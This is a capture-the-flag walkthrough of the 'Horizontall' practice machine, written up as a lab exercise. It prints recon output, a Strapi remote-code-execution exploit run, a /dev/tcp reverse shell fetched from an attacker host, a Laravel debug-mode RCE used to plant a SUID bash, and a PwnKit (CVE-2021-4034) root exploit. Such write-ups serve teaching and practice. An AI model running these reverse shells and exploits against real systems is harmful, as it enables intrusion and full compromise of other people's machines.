I. Scanning
First things first, as per usual, a nmap scan:
# Nmap 7.92 scan initiated Fri Jan 14 02:48:59 2022 as: nmap -sC -sV -oN nmap.txt 10.10.11.105
Nmap scan report for 10.10.11.105
Host is up (0.039s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 14 02:49:13 2022 -- 1 IP address (1 host up) scanned in 13.50 seconds
Notice this line?
http-title: Did not follow redirect to http://horizontall.htb
So we have to add an additional entry to our /etc/hosts
file, something like this:
10.10.11.105 horizontall.htb
Rerun nmap
again, and here’s the result:
# Nmap 7.92 scan initiated Fri Jan 14 02:59:54 2022 as: nmap -sC -sV -oN nmap.txt 10.10.11.105
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.042s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 14 03:00:05 2022 -- 1 IP address (1 host up) scanned in 10.60 seconds
A full port scan also didn’t reveal anything, so i manually opened it in a browser:
Nothing was clickable. Also, here’s what gobuster
returned us:
$ gobuster dir -r -u http://horizontall.htb -o gobuster.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://horizontall.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2022/01/14 03:18:57 Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 403) [Size: 178]
/css (Status: 403) [Size: 178]
/js (Status: 403) [Size: 178]
===============================================================
2022/01/14 03:25:24 Finished
===============================================================
Nothing new, isn’t it? I also check the javascript source code but seems like nothing novel showed up.
At this point, I remembered a small ctf trick - if the challenge calls for any amendment in /etc/hosts
file, the answer must lie somewhere among the subdomains. Therefore, I set up a subdomain fuzzer like this:
wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://horizontall.htb" -H "Host: FUZZ.horizontall.htb" --hc 301
And it perfectly worked:
$ wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://horizontall.htb" -H "Host: FUZZ.horizontall.htb" --hc 301
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://horizontall.htb/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 1 L 43 W 901 Ch "www"
000047093: 200 19 L 33 W 413 Ch "api-prod"
Total time: 641.3004
Processed Requests: 114441
Filtered Requests: 114439
Requests/sec.: 178.4514
Takes about 10 minutes with a mediocre virtual machine. However, we have found a new attack surface - that api-prod
endpoint.
But all else aside, we must add that enpoint to our /etc/hosts
file first.
10.10.11.105 api-prod.horizontall.htb
II. API attack
Upon opening that endpoint in a browser, here’s what we have:
Well, thanks I guess?
We will follow the exact same procedure for the new API endpoint. Here is the Gobuster
result:
/reviews (Status: 200) [Size: 507]
/users (Status: 403) [Size: 60]
/admin (Status: 200) [Size: 854]
/Reviews (Status: 200) [Size: 507]
/Users (Status: 403) [Size: 60]
/Admin (Status: 200) [Size: 854]
/REVIEWS (Status: 200) [Size: 507]
/%C0 (Status: 400) [Size: 69]
/%C0~ (Status: 400) [Size: 69]
/%C0.bak (Status: 400) [Size: 69]
/%C0.bak2 (Status: 400) [Size: 69]
/%C0.old (Status: 400) [Size: 69]
/%C0.1 (Status: 400) [Size: 69]
/.%C0.swp (Status: 400) [Size: 69]
As you can see, there are many interesting things to check here. But first, let’s get to /admin
endpoint.
So the technology behind is strapi
. A quick searchsploit
result revealed a critical RCE vulnerability.
$ searchsploit strapi
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated) | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated) | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated) | multiple/webapps/50239.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Choose one that you like, then simply execute it. Here, I used 50239.py
:
$ python3 50239.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzODc3NTg2LCJleHAiOjE2NDY0Njk1ODZ9.p_uvCIHcKXwruPv8na6MVpU-aLInNKphFDvOh7zYs5U
$>
However, running a command resulted in an error:
$> id
[+] Triggering Remote code executin
[*] Rember this is a blind RCE do not expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
At first I was doubtful about some shoddy programming. However, it really did successfully make a call back.
Therefore, I spinned up an one liner reverse shell like this:
#!/bin/sh
sh -i >& /dev/tcp/10.10.16.13/9000 0>&1
And download it to target machine.
$> wget 10.10.16.13/rv.sh
[+] Triggering Remote code executin
[*] Rember this is a blind RCE do not expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
We can clearly see it was successfully transferred from our attacking machine:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.105 - - [03/Feb/2022 03:55:37] "GET /rv.sh HTTP/1.1" 200 -
And upon triggering the script:
$> bash rv.sh
[+] Triggering Remote code executin
[*] Rember this is a blind RCE do not expect to see output
We got a reverse shell:
$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.11.105] 43566
sh: 0: can't access tty; job control turned off
$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
III. User flag
After a 5-second recon, I relized that strapi
user had sufficient permission to read the user flag at /home/developer/user.txt
.
$ ls /home
developer
$ cd /home/developer
$ ls -al
total 108
drwxr-xr-x 8 developer developer 4096 Aug 2 2021 .
drwxr-xr-x 3 root root 4096 May 25 2021 ..
lrwxrwxrwx 1 root root 9 Aug 2 2021 .bash_history -> /dev/null
-rw-r----- 1 developer developer 242 Jun 1 2021 .bash_logout
-rw-r----- 1 developer developer 3810 Jun 1 2021 .bashrc
drwx------ 3 developer developer 4096 May 26 2021 .cache
-rw-rw---- 1 developer developer 58460 May 26 2021 composer-setup.php
drwx------ 5 developer developer 4096 Jun 1 2021 .config
drwx------ 3 developer developer 4096 May 25 2021 .gnupg
drwxrwx--- 3 developer developer 4096 May 25 2021 .local
drwx------ 12 developer developer 4096 May 26 2021 myproject
-rw-r----- 1 developer developer 807 Apr 4 2018 .profile
drwxrwx--- 2 developer developer 4096 Jun 4 2021 .ssh
-r--r--r-- 1 developer developer 33 Feb 3 08:06 user.txt
lrwxrwxrwx 1 root root 9 Aug 2 2021 .viminfo -> /dev/null
Or, to be precise, anyone on the box can read that user.txt
file. Just cat
it out and we got the user flag.
IV. Privilege Escalation
Or a seem-very-real rabbit hole that I felt into. If you are not interested, you can jump to real privilege escalation section.
Here’s the starting point of a miserable failure:
$ uname -a
Linux horizontall 4.15.0-154-generic #161-Ubuntu SMP Fri Jul 30 13:04:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
And we can find so many “potential” payloads with just that information.
$ searchsploit linux kernel 4.15.0 130 ⨯
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation | solaris/local/15962.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5) | linux/local/9479.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation | linux/local/50135.c
Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation | linux/local/47163.c
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method) | linux/local/47164.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method) | linux/local/47165.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method) | linux/local/47166.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method) | linux/local/47167.sh
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation | linux/local/41886.c
Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak | linux/local/44325.c
Linux Kernel < 4.16.11 - 'ext4_read_inline_data()' Memory Corruption | linux/dos/44832.txt
Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free | linux/dos/44579.c
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
After wasting an hour of mine to “trial and error” most of those exploits, I came to a painful conclusion that these are no use in this case.
V. Real privilege escalation - if only
Things got back to their right tracks after I crawled out of that rabbit hole. At least, that’s what I want to say, but no.
It all started from this list of opening ports:
$ ss -lntup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
tcp LISTEN 0 128 127.0.0.1:8000 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:1337 0.0.0.0:* users:(("node",pid=1750,fd=31))
tcp LISTEN 0 128 [::]:80 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
In my opinion, that 1337
port seems extremely suspicious. However, after a bit of SSH tunneling, I realized that it was only the API endpoint that we discovered earlier.
On the other hand, that port 3306
was the real culprit.
Here is another very useful command that turned out to be a menace this time:
$ grep -Rnw -e "password"
environments/production/database.json:13: "password": "${process.env.DATABASE_PASSWORD || ''}",
environments/development/database.json:12: "password": "#J!:F9Zt2u"
environments/staging/database.json:13: "password": "${process.env.DATABASE_PASSWORD || ''}",
Without a second thought, I instantly cat
out that development/database.json
file.
{
"defaultConnection": "default",
"connections": {
"default": {
"connector": "strapi-hook-bookshelf",
"settings": {
"client": "mysql",
"database": "strapi",
"host": "127.0.0.1",
"port": 3306,
"username": "developer",
"password": "#J!:F9Zt2u"
},
"options": {}
}
}
}
Little did I know, all these very legit credentials are traps. I happily connected to the database, browsing around a bit, and eventually got something really promising.
$ mysql -h 127.0.0.1 -P 3306 -u developer -p strapi --password="#J!:F9Zt2u" -e "SELECT * FROM strapi_administrator"
mysql: [Warning] Using a password on the command line interface can be insecure.
id username email password resetPasswordToken blocked
3 admin admin@horizontall.htb $2a$10$Z/5DNUBoQeb0hOBmD3mlous9fju9gK3FEGOVKoe.XRw4TNCTgjqu. NULL NULL
I went through hell to crack that password, only to belatedly realize that the hash was notoriously hard to brute force due to its high hashing time. Nevertheless, I managed to crack it.
admin SuperStrongPassword1
Why does this password sounds peculiarly familiar…
A flashback suddenly dawned on me - it was the dummy admin
account that our strapi
exploit script made from start! All those work, were in vain… What a memorable experience.
VI. Real privilege escalation
There still is another strange opening port - port 8000
. After another bit of port forwarding:
ssh -i key/id_rsa -L 9999:127.0.0.1:8000 strapi@horizontall.htb
Then access it through localhost:9999
, we get a fresh Laravel
page.
Notice this small line in the bottom right corner?
Laravel v8 (PHP v7.4.18)
Several vulnerabilities were found in no time:
$ searchsploit laravel 8
------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------- ---------------------------------
Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection | php/webapps/50538.txt
Laravel - 'Hash::make()' Password Truncation Security | multiple/remote/39318.txt
Laravel 8.4.2 debug mode - Remote code execution | php/webapps/49424.py
Laravel Nova 3.7.0 - 'range' DoS | php/webapps/49198.txt
PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF) | php/webapps/50525.txt
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload | php/webapps/46389.py
------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Mostly are Python 3
exploits. We can do port forwarding, or directly load the exploit to the server. However, given that the server has Python3:
strapi@horizontall:~$ python3 -V
Python 3.6.9
The latter seems better. However…
strapi@horizontall:~$ python3 rt.py http://127.0.0.1:8000 /var/www/html/laravel/storage/logs/laravel.log 'whoami'
Exploit...
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 601, in urlopen
chunked=chunked)
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 387, in _make_request
six.raise_from(e, None)
File "<string>", line 3, in raise_from
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 383, in _make_request
httplib_response = conn.getresponse()
File "/usr/lib/python3.6/http/client.py", line 1373, in getresponse
response.begin()
File "/usr/lib/python3.6/http/client.py", line 311, in begin
version, status, reason = self._read_status()
File "/usr/lib/python3.6/http/client.py", line 280, in _read_status
raise RemoteDisconnected("Remote end closed connection without"
http.client.RemoteDisconnected: Remote end closed connection without response
… the exploit refused to work… And thus, a quick search led me to a year old Github repo.
strapi@horizontall:~$ python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 id
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited
uid=0(root) gid=0(root) groups=0(root)
[i] Trying to clear logs
[+] Logs cleared
This time, it worked perfectly. Hence, dive into the real thing, let’s copy /bin/bash
to some other directory, change its owner and set SUID permission for it.
strapi@horizontall:~$ cp /bin/bash ~
strapi@horizontall:~$ python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "chown root:root /opt/strapi/bash; chmod +s /opt/strapi/bash"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[i] There is no output
[i] Trying to clear logs
[+] Logs cleared
And just like that, we now have root access.
strapi@horizontall:~$ ls
bash myapi
strapi@horizontall:~$ ./bash -p
bash-4.4# id
uid=1001(strapi) gid=1001(strapi) euid=0(root) egid=0(root) groups=0(root),1001(strapi)
VII. Extra
For the time of writing (nearly 5 months after the box release), there’s another novel, safe and reliable method to get root access via CVE-2021-4034. This is probably not intentional, but it worked nonetheless.
From our attacker machine:
wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip -O polkit.zip
Load that to server machine, make
it there, and get root.
strapi@horizontall:~$ wget http://10.10.16.13/polkit.zip
--2022-02-03 12:55:45-- http://10.10.16.13/polkit.zip
Connecting to 10.10.16.13:80... connected.
HTTP request sent, awaiting response... l200 OK
Length: 6457 (6.3K) [application/zip]
Saving to: ‘polkit.zip’
polkit.zip 100%[===============================================>] 6.31K --.-KB/s in 0.04s
2022-02-03 12:55:45 (175 KB/s) - ‘polkit.zip’ saved [6457/6457]
strapi@horizontall:~$ unzip polkit.zip
Archive: polkit.zip
55d60e381ef90463ed35f47af44bf7e2fbc150d4
creating: CVE-2021-4034-main/
inflating: CVE-2021-4034-main/.gitignore
inflating: CVE-2021-4034-main/LICENSE
inflating: CVE-2021-4034-main/Makefile
inflating: CVE-2021-4034-main/README.md
inflating: CVE-2021-4034-main/cve-2021-4034.c
inflating: CVE-2021-4034-main/cve-2021-4034.sh
creating: CVE-2021-4034-main/dry-run/
inflating: CVE-2021-4034-main/dry-run/Makefile
inflating: CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
inflating: CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
inflating: CVE-2021-4034-main/pwnkit.c
strapi@horizontall:~$ cd CVE-2021-4034-main/
strapi@horizontall:~/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true GCONV_PATH=./pwnkit.so:.
strapi@horizontall:~/CVE-2021-4034-main$ ls
cve-2021-4034 cve-2021-4034.sh gconv-modules LICENSE pwnkit.c README.md
cve-2021-4034.c dry-run 'GCONV_PATH=.' Makefile pwnkit.so
strapi@horizontall:~/CVE-2021-4034-main$ ./cve-2021-4034
# id
uid=0(root) gid=0(root) groups=0(root),1001(strapi)
Very simple and reliable.
Final words
And that’s it. No special technique - this machine just runs slightly outdated softwares. The lesson can be drawn from this box is to think carefully before dive into rabbit holes and update your machine as soon as security patches come out!